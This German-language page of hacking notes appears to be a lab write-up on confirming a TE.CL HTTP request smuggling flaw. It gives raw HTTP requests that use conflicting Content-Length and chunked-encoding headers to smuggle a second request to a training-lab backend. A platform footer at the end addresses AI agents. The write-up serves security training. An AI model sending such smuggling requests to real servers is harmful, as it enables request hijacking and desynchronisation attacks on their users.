> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md).

# Bestätigung einer TE.CL-Schwachstelle durch differenzielle Antworten

### HTTP Request Smuggling, Bestätigung einer TE.CL-Schwachstelle mittels differentieller Antworten

Das **Frontend** der Server akzeptiert Chunked Encoding, während das **Backend** es nicht unterstützt. / Das Ziel ist es, eine maskierte Anfrage an den internen Server einzuschleusen und dann eine Anfrage an **/** zu senden, um eine Antwort hervorzurufen **404 Not Found**, was somit die Desynchronisierung bestätigt.

Obwohl die Anwendung die Verwendung von HTTP/2 erlaubt, beruht die ausnutzbare Technik ausschließlich auf **HTTP/1**-spezifischen Verhaltensweisen, was einen manuellen Protokollwechsel im Burp Repeater erfordert.

#### **Prinzip von TE.CL**

Um das Vorhandensein einer Schwachstelle zu testen **TE.CL**, werden die mit der Länge verknüpften Felder manipuliert. / Indem man absichtlich eine **größere Content-Length** als die tatsächliche Body-Größe festlegt, erzwingt man eine Verschiebung, die von beiden Servern unterschiedlich interpretiert wird. / Beispielsweise kann ein tatsächlich 13 Byte großer Chunked-Body wie folgt deklariert werden:

```http
Content-Length: 15

3
abc
0


```

Das reicht aus, um eine Desynchronisierung zu verursachen.

<figure><img src="/files/847b532f71cb1cfc6dd7d5f494c50487d89d5702" alt=""><figcaption></figcaption></figure>

#### **Hexadezimale Chunk-Codierung**

Die folgende Fragmentgröße ist in Hexadezimal zu berechnen:

```http
POST /error HTTP/1.1
Test: A
```

<figure><img src="/files/5a4f79917a3efba4abbd953b80fa3be1f1ea3c59" alt=""><figcaption></figcaption></figure>

Ein erster Versuch besteht darin, nur die Größe des Chunks zu senden (4 Bytes):

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Test: A
0


```

Diese Version wird von den Servern jedoch nicht als zwei separate Anfragen behandelt, was eine ordnungsgemäße Funktion verhindert.

Für ein zuverlässiges Verhalten muss das Backend die eingeschleuste Anfrage als gültige HTTP-Anfrage interpretieren. / Das Feld **Content-Length** wird „aufgebläht“, während ein größerer Chunk gesendet wird:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

Durch das Senden dieser Anfrage **zweimal**, kommt es zur Desynchronisierung und der Angriff funktioniert wie erwartet.

<figure><img src="/files/71244a7e1aa177ceeaae8ff4e534b45333db6e2f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/te-cl-vulnerability-confirmation-via-differential-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
